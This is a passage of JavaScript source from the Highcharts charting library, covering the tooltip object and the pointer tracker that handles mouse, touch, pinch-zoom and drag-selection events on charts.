init: function (chart, options) {
var borderWidth = options.borderWidth,
style = options.style,
padding = pInt(style.padding);
// Save the chart and options
this.chart = chart;
this.options = options;
// Keep track of the current series
//this.currentSeries = UNDEFINED;
// List of crosshairs
this.crosshairs = [];
// Current values of x and y when animating
this.now = { x: 0, y: 0 };
// The tooltip is initially hidden
this.isHidden = true;
// create the label
this.label = chart.renderer.label('', 0, 0, options.shape, null, null, options.useHTML, null, 'tooltip')
.attr({
padding: padding,
fill: options.backgroundColor,
'stroke-width': borderWidth,
r: options.borderRadius,
zIndex: 8
})
.css(style)
.css({ padding: 0 }) // Remove it from VML, the padding is applied as an attribute instead (#1117)
.add()
.attr({ y: -9999 }); // #2301, #2657
// When using canVG the shadow shows up as a gray circle
// even if the tooltip is hidden.
if (!useCanVG) {
this.label.shadow(options.shadow);
}
// Public property for getting the shared state.
this.shared = options.shared;
},
/**
* Destroy the tooltip and its elements.
*/
destroy: function () {
// Destroy and clear local variables
if (this.label) {
this.label = this.label.destroy();
}
clearTimeout(this.hideTimer);
clearTimeout(this.tooltipTimeout);
},
/**
* Provide a soft movement for the tooltip
*
* @param {Number} x
* @param {Number} y
* @private
*/
move: function (x, y, anchorX, anchorY) {
var tooltip = this,
now = tooltip.now,
animate = tooltip.options.animation !== false && !tooltip.isHidden;
// get intermediate values for animation
extend(now, {
x: animate ? (2 * now.x + x) / 3 : x,
y: animate ? (now.y + y) / 2 : y,
anchorX: animate ? (2 * now.anchorX + anchorX) / 3 : anchorX,
anchorY: animate ? (now.anchorY + anchorY) / 2 : anchorY
});
// move to the intermediate value
tooltip.label.attr(now);
// run on next tick of the mouse tracker
if (animate && (mathAbs(x - now.x) > 1 || mathAbs(y - now.y) > 1)) {
// never allow two timeouts
clearTimeout(this.tooltipTimeout);
// set the fixed interval ticking for the smooth tooltip
this.tooltipTimeout = setTimeout(function () {
// The interval function may still be running during destroy, so check that the chart is really there before calling.
if (tooltip) {
tooltip.move(x, y, anchorX, anchorY);
}
}, 32);
}
},
/**
* Hide the tooltip
*/
hide: function () {
var tooltip = this,
hoverPoints;
clearTimeout(this.hideTimer); // disallow duplicate timers (#1728, #1766)
if (!this.isHidden) {
hoverPoints = this.chart.hoverPoints;
this.hideTimer = setTimeout(function () {
tooltip.label.fadeOut();
tooltip.isHidden = true;
}, pick(this.options.hideDelay, 500));
// hide previous hoverPoints and set new
if (hoverPoints) {
each(hoverPoints, function (point) {
point.setState();
});
}
this.chart.hoverPoints = null;
}
},
/**
* Extendable method to get the anchor position of the tooltip
* from a point or set of points
*/
getAnchor: function (points, mouseEvent) {
var ret,
chart = this.chart,
inverted = chart.inverted,
plotTop = chart.plotTop,
plotX = 0,
plotY = 0,
yAxis;
points = splat(points);
// Pie uses a special tooltipPos
ret = points[0].tooltipPos;
// When tooltip follows mouse, relate the position to the mouse
if (this.followPointer && mouseEvent) {
if (mouseEvent.chartX === UNDEFINED) {
mouseEvent = chart.pointer.normalize(mouseEvent);
}
ret = [
mouseEvent.chartX - chart.plotLeft,
mouseEvent.chartY - plotTop
];
}
// When shared, use the average position
if (!ret) {
each(points, function (point) {
yAxis = point.series.yAxis;
plotX += point.plotX;
plotY += (point.plotLow ? (point.plotLow + point.plotHigh) / 2 : point.plotY) +
(!inverted && yAxis ? yAxis.top - plotTop : 0); // #1151
});
plotX /= points.length;
plotY /= points.length;
ret = [
inverted ? chart.plotWidth - plotY : plotX,
this.shared && !inverted && points.length > 1 && mouseEvent ?
mouseEvent.chartY - plotTop : // place shared tooltip next to the mouse (#424)
inverted ? chart.plotHeight - plotX : plotY
];
}
return map(ret, mathRound);
},
/**
* Place the tooltip in a chart without spilling over
* and not covering the point it self.
*/
getPosition: function (boxWidth, boxHeight, point) {
// Set up the variables
var chart = this.chart,
plotLeft = chart.plotLeft,
plotTop = chart.plotTop,
plotWidth = chart.plotWidth,
plotHeight = chart.plotHeight,
distance = pick(this.options.distance, 12),
pointX = (isNaN(point.plotX) ? 0 : point.plotX), //#2599
pointY = point.plotY,
x = pointX + plotLeft + (chart.inverted ? distance : -boxWidth - distance),
y = pointY - boxHeight + plotTop + 15, // 15 means the point is 15 pixels up from the bottom of the tooltip
alignedRight;
// It is too far to the left, adjust it
if (x < 7) {
x = plotLeft + mathMax(pointX, 0) + distance;
}
// Test to see if the tooltip is too far to the right,
// if it is, move it back to be inside and then up to not cover the point.
if ((x + boxWidth) > (plotLeft + plotWidth)) {
x -= (x + boxWidth) - (plotLeft + plotWidth);
y = pointY - boxHeight + plotTop - distance;
alignedRight = true;
}
// If it is now above the plot area, align it to the top of the plot area
if (y < plotTop + 5) {
y = plotTop + 5;
// If the tooltip is still covering the point, move it below instead
if (alignedRight && pointY >= y && pointY <= (y + boxHeight)) {
y = pointY + plotTop + distance; // below
}
}
// Now if the tooltip is below the chart, move it up. It's better to cover the
// point than to disappear outside the chart. #834.
if (y + boxHeight > plotTop + plotHeight) {
y = mathMax(plotTop, plotTop + plotHeight - boxHeight - distance); // below
}
return {x: x, y: y};
},
/**
* In case no user defined formatter is given, this will be used. Note that the context
* here is an object holding point, series, x, y etc.
*/
defaultFormatter: function (tooltip) {
var items = this.points || splat(this),
series = items[0].series,
s;
// build the header
s = [tooltip.tooltipHeaderFormatter(items[0])];
// build the values
each(items, function (item) {
series = item.series;
s.push((series.tooltipFormatter && series.tooltipFormatter(item)) ||
item.point.tooltipFormatter(series.tooltipOptions.pointFormat));
});
// footer
s.push(tooltip.options.footerFormat || '');
return s.join('');
},
/**
* Refresh the tooltip's text and position.
* @param {Object} point
*/
refresh: function (point, mouseEvent) {
var tooltip = this,
chart = tooltip.chart,
label = tooltip.label,
options = tooltip.options,
x,
y,
anchor,
textConfig = {},
text,
pointConfig = [],
formatter = options.formatter || tooltip.defaultFormatter,
hoverPoints = chart.hoverPoints,
borderColor,
shared = tooltip.shared,
currentSeries;
clearTimeout(this.hideTimer);
// get the reference point coordinates (pie charts use tooltipPos)
tooltip.followPointer = splat(point)[0].series.tooltipOptions.followPointer;
anchor = tooltip.getAnchor(point, mouseEvent);
x = anchor[0];
y = anchor[1];
// shared tooltip, array is sent over
if (shared && !(point.series && point.series.noSharedTooltip)) {
// hide previous hoverPoints and set new
chart.hoverPoints = point;
if (hoverPoints) {
each(hoverPoints, function (point) {
point.setState();
});
}
each(point, function (item) {
item.setState(HOVER_STATE);
pointConfig.push(item.getLabelConfig());
});
textConfig = {
x: point[0].category,
y: point[0].y
};
textConfig.points = pointConfig;
point = point[0];
// single point tooltip
} else {
textConfig = point.getLabelConfig();
}
text = formatter.call(textConfig, tooltip);
// register the current series
currentSeries = point.series;
// update the inner HTML
if (text === false) {
this.hide();
} else {
// show it
if (tooltip.isHidden) {
stop(label);
label.attr('opacity', 1).show();
}
// update text
label.attr({
text: text
});
// set the stroke color of the box
borderColor = options.borderColor || point.color || currentSeries.color || '#606060';
label.attr({
stroke: borderColor
});
tooltip.updatePosition({ plotX: x, plotY: y });
this.isHidden = false;
}
fireEvent(chart, 'tooltipRefresh', {
text: text,
x: x + chart.plotLeft,
y: y + chart.plotTop,
borderColor: borderColor
});
},
/**
* Find the new position and perform the move
*/
updatePosition: function (point) {
var chart = this.chart,
label = this.label,
pos = (this.options.positioner || this.getPosition).call(
this,
label.width,
label.height,
point
);
// do the move
this.move(
mathRound(pos.x),
mathRound(pos.y),
point.plotX + chart.plotLeft,
point.plotY + chart.plotTop
);
},
/**
* Format the header of the tooltip
*/
tooltipHeaderFormatter: function (point) {
var series = point.series,
tooltipOptions = series.tooltipOptions,
dateTimeLabelFormats = tooltipOptions.dateTimeLabelFormats,
xDateFormat = tooltipOptions.xDateFormat,
xAxis = series.xAxis,
isDateTime = xAxis && xAxis.options.type === 'datetime' && isNumber(point.key),
headerFormat = tooltipOptions.headerFormat,
closestPointRange = xAxis && xAxis.closestPointRange,
n;
// Guess the best date format based on the closest point distance (#568)
if (isDateTime && !xDateFormat) {
if (closestPointRange) {
for (n in timeUnits) {
if (timeUnits[n] >= closestPointRange ||
// If the point is placed every day at 23:59, we need to show
// the minutes as well. This logic only works for time units less than
// a day, since all higher time units are dividable by those. #2637.
(timeUnits[n] <= timeUnits[DAY] && point.key % timeUnits[n] > 0)) {
xDateFormat = dateTimeLabelFormats[n];
break;
}
}
} else {
xDateFormat = dateTimeLabelFormats.day;
}
xDateFormat = xDateFormat || dateTimeLabelFormats.year; // #2546, 2581
}
// Insert the header date format if any
if (isDateTime && xDateFormat) {
headerFormat = headerFormat.replace('{point.key}', '{point.key:' + xDateFormat + '}');
}
return format(headerFormat, {
point: point,
series: series
});
}
};
var hoverChartIndex;
// Global flag for touch support
hasTouch = doc.documentElement.ontouchstart !== UNDEFINED;
/**
* The mouse tracker object. All methods starting with "on" are primary DOM event handlers.
* Subsequent methods should be named differently from what they are doing.
* @param {Object} chart The Chart instance
* @param {Object} options The root options object
*/
var Pointer = Highcharts.Pointer = function (chart, options) {
this.init(chart, options);
};
Pointer.prototype = {
/**
* Initialize Pointer
*/
init: function (chart, options) {
var chartOptions = options.chart,
chartEvents = chartOptions.events,
zoomType = useCanVG ? '' : chartOptions.zoomType,
inverted = chart.inverted,
zoomX,
zoomY;
// Store references
this.options = options;
this.chart = chart;
// Zoom status
this.zoomX = zoomX = /x/.test(zoomType);
this.zoomY = zoomY = /y/.test(zoomType);
this.zoomHor = (zoomX && !inverted) || (zoomY && inverted);
this.zoomVert = (zoomY && !inverted) || (zoomX && inverted);
// Do we need to handle click on a touch device?
this.runChartClick = chartEvents && !!chartEvents.click;
this.pinchDown = [];
this.lastValidTouch = {};
if (Highcharts.Tooltip && options.tooltip.enabled) {
chart.tooltip = new Tooltip(chart, options.tooltip);
}
this.setDOMEvents();
},
/**
* Add crossbrowser support for chartX and chartY
* @param {Object} e The event object in standard browsers
*/
normalize: function (e, chartPosition) {
var chartX,
chartY,
ePos;
// common IE normalizing
e = e || win.event;
// Framework specific normalizing (#1165)
e = washMouseEvent(e);
// More IE normalizing, needs to go after washMouseEvent
if (!e.target) {
e.target = e.srcElement;
}
// iOS
ePos = e.touches ? e.touches.item(0) : e;
// Get mouse position
if (!chartPosition) {
this.chartPosition = chartPosition = offset(this.chart.container);
}
// chartX and chartY
if (ePos.pageX === UNDEFINED) { // IE < 9. #886.
chartX = mathMax(e.x, e.clientX - chartPosition.left); // #2005, #2129: the second case is
// for IE10 quirks mode within framesets
chartY = e.y;
} else {
chartX = ePos.pageX - chartPosition.left;
chartY = ePos.pageY - chartPosition.top;
}
return extend(e, {
chartX: mathRound(chartX),
chartY: mathRound(chartY)
});
},
/**
* Get the click position in terms of axis values.
*
* @param {Object} e A pointer event
*/
getCoordinates: function (e) {
var coordinates = {
xAxis: [],
yAxis: []
};
each(this.chart.axes, function (axis) {
coordinates[axis.isXAxis ? 'xAxis' : 'yAxis'].push({
axis: axis,
value: axis.toValue(e[axis.horiz ? 'chartX' : 'chartY'])
});
});
return coordinates;
},
/**
* Return the index in the tooltipPoints array, corresponding to pixel position in
* the plot area.
*/
getIndex: function (e) {
var chart = this.chart;
return chart.inverted ?
chart.plotHeight + chart.plotTop - e.chartY :
e.chartX - chart.plotLeft;
},
/**
* With line type charts with a single tracker, get the point closest to the mouse.
* Run Point.onMouseOver and display tooltip for the point or points.
*/
runPointActions: function (e) {
var pointer = this,
chart = pointer.chart,
series = chart.series,
tooltip = chart.tooltip,
point,
points,
hoverPoint = chart.hoverPoint,
hoverSeries = chart.hoverSeries,
i,
j,
distance = chart.chartWidth,
index = pointer.getIndex(e),
anchor;
// shared tooltip
if (tooltip && pointer.options.tooltip.shared && !(hoverSeries && hoverSeries.noSharedTooltip)) {
points = [];
// loop over all series and find the ones with points closest to the mouse
i = series.length;
for (j = 0; j < i; j++) {
if (series[j].visible &&
series[j].options.enableMouseTracking !== false &&
!series[j].noSharedTooltip && series[j].singularTooltips !== true && series[j].tooltipPoints.length) {
point = series[j].tooltipPoints[index];
if (point && point.series) { // not a dummy point, #1544
point._dist = mathAbs(index - point.clientX);
distance = mathMin(distance, point._dist);
points.push(point);
}
}
}
// remove furthest points
i = points.length;
while (i--) {
if (points[i]._dist > distance) {
points.splice(i, 1);
}
}
// refresh the tooltip if necessary
if (points.length && (points[0].clientX !== pointer.hoverX)) {
tooltip.refresh(points, e);
pointer.hoverX = points[0].clientX;
}
}
// separate tooltip and general mouse events
if (hoverSeries && hoverSeries.tracker && (!tooltip || !tooltip.followPointer)) { // only use for line-type series with common tracker and while not following the pointer #2584
// get the point
point = hoverSeries.tooltipPoints[index];
// a new point is hovered, refresh the tooltip
if (point && point !== hoverPoint) {
// trigger the events
point.onMouseOver(e);
}
} else if (tooltip && tooltip.followPointer && !tooltip.isHidden) {
anchor = tooltip.getAnchor([{}], e);
tooltip.updatePosition({ plotX: anchor[0], plotY: anchor[1] });
}
// Start the event listener to pick up the tooltip
if (tooltip && !pointer._onDocumentMouseMove) {
pointer._onDocumentMouseMove = function (e) {
if (defined(hoverChartIndex)) {
charts[hoverChartIndex].pointer.onDocumentMouseMove(e);
}
};
addEvent(doc, 'mousemove', pointer._onDocumentMouseMove);
}
// Draw independent crosshairs
each(chart.axes, function (axis) {
axis.drawCrosshair(e, pick(point, hoverPoint));
});
},
/**
* Reset the tracking by hiding the tooltip, the hover series state and the hover point
*
* @param allowMove {Boolean} Instead of destroying the tooltip altogether, allow moving it if possible
*/
reset: function (allowMove) {
var pointer = this,
chart = pointer.chart,
hoverSeries = chart.hoverSeries,
hoverPoint = chart.hoverPoint,
tooltip = chart.tooltip,
tooltipPoints = tooltip && tooltip.shared ? chart.hoverPoints : hoverPoint;
// Narrow in allowMove
allowMove = allowMove && tooltip && tooltipPoints;
// Check if the points have moved outside the plot area, #1003
if (allowMove && splat(tooltipPoints)[0].plotX === UNDEFINED) {
allowMove = false;
}
// Just move the tooltip, #349
if (allowMove) {
tooltip.refresh(tooltipPoints);
if (hoverPoint) { // #2500
hoverPoint.setState(hoverPoint.state, true);
}
// Full reset
} else {
if (hoverPoint) {
hoverPoint.onMouseOut();
}
if (hoverSeries) {
hoverSeries.onMouseOut();
}
if (tooltip) {
tooltip.hide();
}
if (pointer._onDocumentMouseMove) {
removeEvent(doc, 'mousemove', pointer._onDocumentMouseMove);
pointer._onDocumentMouseMove = null;
}
// Remove crosshairs
each(chart.axes, function (axis) {
axis.hideCrosshair();
});
pointer.hoverX = null;
}
},
/**
* Scale series groups to a certain scale and translation
*/
scaleGroups: function (attribs, clip) {
var chart = this.chart,
seriesAttribs;
// Scale each series
each(chart.series, function (series) {
seriesAttribs = attribs || series.getPlotBox(); // #1701
if (series.xAxis && series.xAxis.zoomEnabled) {
series.group.attr(seriesAttribs);
if (series.markerGroup) {
series.markerGroup.attr(seriesAttribs);
series.markerGroup.clip(clip ? chart.clipRect : null);
}
if (series.dataLabelsGroup) {
series.dataLabelsGroup.attr(seriesAttribs);
}
}
});
// Clip
chart.clipRect.attr(clip || chart.clipBox);
},
/**
* Start a drag operation
*/
dragStart: function (e) {
var chart = this.chart;
// Record the start position
chart.mouseIsDown = e.type;
chart.cancelClick = false;
chart.mouseDownX = this.mouseDownX = e.chartX;
chart.mouseDownY = this.mouseDownY = e.chartY;
},
/**
* Perform a drag operation in response to a mousemove event while the mouse is down
*/
drag: function (e) {
var chart = this.chart,
chartOptions = chart.options.chart,
chartX = e.chartX,
chartY = e.chartY,
zoomHor = this.zoomHor,
zoomVert = this.zoomVert,
plotLeft = chart.plotLeft,
plotTop = chart.plotTop,
plotWidth = chart.plotWidth,
plotHeight = chart.plotHeight,
clickedInside,
size,
mouseDownX = this.mouseDownX,
mouseDownY = this.mouseDownY;
// If the mouse is outside the plot area, adjust to cooordinates
// inside to prevent the selection marker from going outside
if (chartX < plotLeft) {
chartX = plotLeft;
} else if (chartX > plotLeft + plotWidth) {
chartX = plotLeft + plotWidth;
}
if (chartY < plotTop) {
chartY = plotTop;
} else if (chartY > plotTop + plotHeight) {
chartY = plotTop + plotHeight;
}
// determine if the mouse has moved more than 10px
this.hasDragged = Math.sqrt(
Math.pow(mouseDownX - chartX, 2) +
Math.pow(mouseDownY - chartY, 2)
);
if (this.hasDragged > 10) {
clickedInside = chart.isInsidePlot(mouseDownX - plotLeft, mouseDownY - plotTop);
// make a selection
if (chart.hasCartesianSeries && (this.zoomX || this.zoomY) && clickedInside) {
if (!this.selectionMarker) {
this.selectionMarker = chart.renderer.rect(
plotLeft,
plotTop,
zoomHor ? 1 : plotWidth,
zoomVert ? 1 : plotHeight,
0
)
.attr({
fill: chartOptions.selectionMarkerFill || 'rgba(69,114,167,0.25)',
zIndex: 7
})
.add();
}
}
// adjust the width of the selection marker
if (this.selectionMarker && zoomHor) {
size = chartX - mouseDownX;
this.selectionMarker.attr({
width: mathAbs(size),
x: (size > 0 ? 0 : size) + mouseDownX
});
}
// adjust the height of the selection marker
if (this.selectionMarker && zoomVert) {
size = chartY - mouseDownY;
this.selectionMarker.attr({
height: mathAbs(size),
y: (size > 0 ? 0 : size) + mouseDownY
});
}
// panning
if (clickedInside && !this.selectionMarker && chartOptions.panning) {
chart.pan(e, chartOptions.panning);
}
}
},
/**
* On mouse up or touch end across the entire document, drop the selection.
*/
drop: function (e) {
var chart = this.chart,
hasPinched = this.hasPinched;
if (this.selectionMarker) {
var selectionData = {
xAxis: [],
yAxis: [],
originalEvent: e.originalEvent || e
},
selectionBox = this.selectionMarker,
selectionLeft = selectionBox.x,
selectionTop = selectionBox.y,
runZoom;
// a selection has been made
if (this.hasDragged || hasPinched) {
// record each axis' min and max
each(chart.axes, function (axis) {
if (axis.zoomEnabled) {
var horiz = axis.horiz,
selectionMin = axis.toValue((horiz ? selectionLeft : selectionTop)),
selectionMax = axis.toValue((horiz ? selectionLeft + selectionBox.width : selectionTop + selectionBox.height));
if (!isNaN(selectionMin) && !isNaN(selectionMax)) { // #859
selectionData[axis.coll].push({
axis: axis,
min: mathMin(selectionMin, selectionMax), // for reversed axes,
max: mathMax(selectionMin, selectionMax)
});
runZoom = true;
}
}
});
if (runZoom) {
fireEvent(chart, 'selection', selectionData, function (args) {
chart.zoom(extend(args, hasPinched ? { animation: false } : null));
});
}
}
this.selectionMarker = this.selectionMarker.destroy();
// Reset scaling preview
if (hasPinched) {
this.scaleGroups();
}
}
// Reset all
if (chart) { // it may be destroyed on mouse up - #877
css(chart.container, { cursor: chart._cursor });
chart.cancelClick = this.hasDragged > 10; // #370
chart.mouseIsDown = this.hasDragged = this.hasPinched = false;
this.pinchDown = [];
}
},
onContainerMouseDown: function (e) {
e = this.normalize(e);
// issue #295, dragging not always working in Firefox
if (e.preventDefault) {
e.preventDefault();
}
this.dragStart(e);
},
onDocumentMouseUp: function (e) {
if (defined(hoverChartIndex)) {
charts[hoverChartIndex].pointer.drop(e);
}
},
/**
* Special handler for mouse move that will hide the tooltip when the mouse leaves the plotarea.
* Issue #149 workaround. The mouseleave event does not always fire.
*/
onDocumentMouseMove: function (e) {
var chart = this.chart,
chartPosition = this.chartPosition,
hoverSeries = chart.hoverSeries;
e = this.normalize(e, chartPosition);
// If we're outside, hide the tooltip
if (chartPosition && hoverSeries && !this.inClass(e.target, 'highcharts-tracker') &&
!chart.isInsidePlot(e.chartX - chart.plotLeft, e.chartY - chart.plotTop)) {
this.reset();
}
},
/**
* When mouse leaves the container, hide the tooltip.
*/
onContainerMouseLeave: function () {
var chart = charts[hoverChartIndex];
if (chart) {
chart.pointer.reset();
chart.pointer.chartPosition = null; // also reset the chart position, used in #149 fix
}
hoverChartIndex = null;
},
// The mousemove, touchmove and touchstart event handler
onContainerMouseMove: function (e) {
var chart = this.chart;
hoverChartIndex = chart.index;
// normalize
e = this.normalize(e);
if (chart.mouseIsDown === 'mousedown') {
this.drag(e);
}
// Show the tooltip and run mouse over events (#977)
if ((this.inClass(e.target, 'highcharts-tracker') ||
chart.isInsidePlot(e.chartX - chart.plotLeft, e.chartY - chart.plotTop)) && !chart.openMenu) {
this.runPointActions(e);
}
},
/**
* Utility to detect whether an element has, or has a parent with, a specific
* class name. Used on detection of tracker objects and on deciding whether
* hovering the tooltip should cause the active series to mouse out.
*/
inClass: function (element, className) {
var elemClassName;
while (element) {
elemClassName = attr(element, 'class');
if (elemClassName) {
if (elemClassName.indexOf(className) !== -1) {
return true;
} else if (elemClassName.indexOf(PREFIX + 'container') !== -1) {
return false;
}
}
element = element.parentNode;
}
},
onTrackerMouseOut: function (e) {
var series = this.chart.hoverSeries,
relatedTarget = e.relatedTarget || e.toElement,
relatedSeries = relatedTarget && relatedTarget.point && relatedTarget.point.series; // #2499
if (series && !series.options.stickyTracking && !this.inClass(relatedTarget, PREFIX + 'tooltip') &&
relatedSeries !== series) {
series.onMouseOut();
}
},
onContainerClick: function (e) {
var chart = this.chart,
hoverPoint = chart.hoverPoint,
plotLeft = chart.plotLeft,
plotTop = chart.plotTop,
inverted = chart.inverted,
chartPosition,
plotX,
plotY;
e = this.normalize(e);
e.cancelBubble = true; // IE specific
if (!chart.cancelClick) {
// On tracker click, fire the series and point events. #783, #1583
if (hoverPoint && this.inClass(e.target, PREFIX + 'tracker')) {
chartPosition = this.chartPosition;
plotX = hoverPoint.plotX;
plotY = hoverPoint.plotY;
// add page position info
extend(hoverPoint, {
pageX: chartPosition.left + plotLeft +
(inverted ? chart.plotWidth - plotY : plotX),
pageY: chartPosition.top + plotTop +
(inverted ? chart.plotHeight - plotX : plotY)
});
// the series click event
fireEvent(hoverPoint.series, 'click', extend(e, {
point: hoverPoint
}));
// the point click event
if (chart.hoverPoint) { // it may be destroyed (#1844)
hoverPoint.firePointEvent('click', e);
}
// When clicking outside a tracker, fire a chart event
} else {
extend(e, this.getCoordinates(e));
// fire a click event in the chart
if (chart.isInsidePlot(e.chartX - plotLeft, e.chartY - plotTop)) {
fireEvent(chart, 'click', e);
}
}
}
},
/**
* Set the JS DOM events on the container and document. This method should contain
* a one-to-one assignment between methods and their handlers. Any advanced logic should
* be moved to the handler reflecting the event's name.
*/
setDOMEvents: function () {
var pointer = this,
container = pointer.chart.container;
container.onmousedown = function (e) {
pointer.onContainerMouseDown(e);
};
container.onmousemove = function (e) {
pointer.onContainerMouseMove(e);
};
container.onclick = function (e) {
pointer.onContainerClick(e);
};
addEvent(container, 'mouseleave', pointer.onContainerMouseLeave);
addEvent(doc, 'mouseup', pointer.onDocumentMouseUp);
if (hasTouch) {
container.ontouchstart = function (e) {
pointer.onContainerTouchStart(e);
};
container.ontouchmove = function (e) {
pointer.onContainerTouchMove(e);
};
addEvent(doc, 'touchend', pointer.onDocumentTouchEnd);
}
},
/**
* Destroys the Pointer object and disconnects DOM events.
*/
destroy: function () {
var prop;
removeEvent(this.chart.container, 'mouseleave', this.onContainerMouseLeave);
removeEvent(doc, 'mouseup', this.onDocumentMouseUp);
removeEvent(doc, 'touchend', this.onDocumentTouchEnd);
// memory and CPU leak
clearInterval(this.tooltipTimeout);
for (prop in this) {
this[prop] = null;
}
}
};
/* Support for touch devices */
extend(Highcharts.Pointer.prototype, {
/**
* Run translation operations
*/
pinchTranslate: function (zoomHor, zoomVert, pinchDown, touches, transform, selectionMarker, clip, lastValidTouch) {
if (zoomHor) {
this.pinchTranslateDirection(true, pinchDown, touches, transform, selectionMarker, clip, lastValidTouch);
}
if (zoomVert) {
this.pinchTranslateDirection(false, pinchDown, touches, transform, selectionMarker, clip, lastValidTouch);
}
},
/**
* Run translation operations for each direction (horizontal and vertical) independently
*/
pinchTranslateDirection: function (horiz, pinchDown, touches, transform, selectionMarker, clip, lastValidTouch, forcedScale) {
var chart = this.chart,
xy = horiz ? 'x' : 'y',
XY = horiz ? 'X' : 'Y',
sChartXY = 'chart' + XY,
wh = horiz ? 'width' : 'height',
plotLeftTop = chart['plot' + (horiz ? 'Left' : 'Top')],
selectionWH,
selectionXY,
clipXY,
scale = forcedScale || 1,
inverted = chart.inverted,
bounds = chart.bounds[horiz ? 'h' : 'v'],
singleTouch = pinchDown.length === 1,
touch0Start = pinchDown[0][sChartXY],
touch0Now = touches[0][sChartXY],
touch1Start = !singleTouch && pinchDown[1][sChartXY],
touch1Now = !singleTouch && touches[1][sChartXY],
outOfBounds,
transformScale,
scaleKey,
setScale = function () {
if (!singleTouch && mathAbs(touch0Start - touch1Start) > 20) { // Don't zoom if fingers are too close on this axis
scale = forcedScale || mathAbs(touch0Now - touch1Now) / mathAbs(touch0Start - touch1Start);
}
clipXY = ((plotLeftTop - touch0Now) / scale) + touch0Start;
selectionWH = chart['plot' + (horiz ? 'Width' : 'Height')] / scale;
};
// Set the scale, first pass
setScale();
selectionXY = clipXY; // the clip position (x or y) is altered if out of bounds, the selection position is not
// Out of bounds
if (selectionXY < bounds.min) {
selectionXY = bounds.min;
outOfBounds = true;
} else if (selectionXY + selectionWH > bounds.max) {
selectionXY = bounds.max - selectionWH;
outOfBounds = true;
}
// Is the chart dragged off its bounds, determined by dataMin and dataMax?
if (outOfBounds) {
// Modify the touchNow position in order to create an elastic drag movement. This indicates
// to the user that the chart is responsive but can't be dragged further.
touch0Now -= 0.8 * (touch0Now - lastValidTouch[xy][0]);
if (!singleTouch) {
touch1Now -= 0.8 * (touch1Now - lastValidTouch[xy][1]);
}
// Set the scale, second pass to adapt to the modified touchNow positions
setScale();
} else {
lastValidTouch[xy] = [touch0Now, touch1Now];
}
// Set geometry for clipping, selection and transformation
if (!inverted) { // TODO: implement clipping for inverted charts
clip[xy] = clipXY - plotLeftTop;
clip[wh] = selectionWH;
}
scaleKey = inverted ? (horiz ? 'scaleY' : 'scaleX') : 'scale' + XY;
transformScale = inverted ? 1 / scale : scale;
selectionMarker[wh] = selectionWH;
selectionMarker[xy] = selectionXY;
transform[scaleKey] = scale;
transform['translate' + XY] = (transformScale * plotLeftTop) + (touch0Now - (transformScale * touch0Start));
},
/**
* Handle touch events with two touches
*/
pinch: function (e) {
var self = this,
chart = self.chart,
pinchDown = self.pinchDown,
followTouchMove = chart.tooltip && chart.tooltip.options.followTouchMove,
touches = e.touches,
touchesLength = touches.length,
lastValidTouch = self.lastValidTouch,
zoomHor = self.zoomHor || self.pinchHor,
zoomVert = self.zoomVert || self.pinchVert,
hasZoom = zoomHor || zoomVert,
selectionMarker = self.selectionMarker,
transform = {},
fireClickEvent = touchesLength === 1 && ((self.inClass(e.target, PREFIX + 'tracker') &&
chart.runTrackerClick) || chart.runChartClick),
clip = {};
// On touch devices, only proceed to trigger click if a handler is defined
if ((hasZoom || followTouchMove) && !fireClickEvent) {
e.preventDefault();
}
// Normalize each touch
map(touches, function (e) {
return self.normalize(e);
});
// Register the touch start position
if (e.type === 'touchstart') {
each(touches, function (e, i) {
pinchDown[i] = { chartX: e.chartX, chartY: e.chartY };
});
lastValidTouch.x = [pinchDown[0].chartX, pinchDown[1] && pinchDown[1].chartX];
lastValidTouch.y = [pinchDown[0].chartY, pinchDown[1] && pinchDown[1].chartY];
// Identify the data bounds in pixels
each(chart.axes, function (axis) {
if (axis.zoomEnabled) {
var bounds = chart.bounds[axis.horiz ? 'h' : 'v'],
minPixelPadding = axis.minPixelPadding,
min = axis.toPixels(axis.dataMin),
max = axis.toPixels(axis.dataMax),
absMin = mathMin(min, max),
absMax = mathMax(min, max);
// Store the bounds for use in the touchmove handler
bounds.min = mathMin(axis.pos, absMin - minPixelPadding);
bounds.max = mathMax(axis.pos + axis.len, absMax + minPixelPadding);
}
});
// Event type is touchmove, handle panning and pinching
} else if (pinchDown.length) { // can be 0 when releasing, if touchend fires first
// Set the marker
if (!selectionMarker) {
self.selectionMarker = selectionMarker = extend({
destroy: noop
}, chart.plotBox);
}
self.pinchTranslate(zoomHor, zoomVert, pinchDown, touches, transform, selectionMarker, clip, lastValidTouch);
self.hasPinched = hasZoom;
// Scale and translate the groups to provide visual feedback during pinching
self.scaleGroups(transform, clip);
// Optionally move the tooltip on touchmove
if (!hasZoom && followTouchMove && touchesLength === 1) {
this.runPointActions(self.normalize(e));
}
}
},
onContainerTouchStart: function (e) {
var chart = this.chart;
hoverChartIndex = chart.index;
if (e.touches.length === 1) {
e = this.normalize(e);
if (chart.isInsidePlot(e.chartX - chart.plotLeft, e.chartY - chart.plotTop)) {
// Prevent the click pseudo event from firing unless it is set in the options
/*if (!chart.runChartClick) {
e.preventDefault();
}*/
// Run mouse events and display tooltip etc
this.runPointActions(e);
this.pinch(e);
} else {
// Hide the tooltip on touching outside the plot area (#1203)
this.reset();
}
} else if (e.touches.length === 2) {
this.pinch(e);
}
},
onContainerTouchMove: function (e) {
if (e.touches.length === 1 || e.touches.length === 2) {
this.pinch(e);
}
},
onDocumentTouchEnd: function (e) {
if (defined(hoverChartIndex)) {
charts[hoverChartIndex].pointer.drop(e);
}
}
});
if (win.PointerEvent || win.MSPointerEvent) {
// The touches object keeps track of the points being touched at all times
var touches = {},
hasPointerEvent = !!win.PointerEvent,
getWebkitTouches = function () {
var key, fake = [];
fake.item = function (i) { return this[i]; };
for (key in touches) {
if (touches.hasOwnProperty(key)) {
fake.push({
pageX: touches[key].pageX,
pageY: touches[key].pageY,
target: touches[key].target
});
}
}
return fake;
},
translateMSPointer = function (e, method, wktype, callback) {
var p;
e = e.originalEvent || e;
if ((e.pointerType === 'touch' || e.pointerType === e.MSPOINTER_TYPE_TOUCH) && charts[hoverChartIndex]) {
callback(e);
p = charts[hoverChartIndex].pointer;
p[method]({
type: wktype,
target: e.currentTarget,
preventDefault: noop,
touches: getWebkitTouches()
});
}
};
/**
* Extend the Pointer prototype with methods for each event handler and more
*/
extend(Pointer.prototype, {
onContainerPointerDown: function (e) {
translateMSPointer(e, 'onContainerTouchStart', 'touchstart', function (e) {
touches[e.pointerId] = { pageX: e.pageX, pageY: e.pageY, target: e.currentTarget };
});
},
onContainerPointerMove: function (e) {
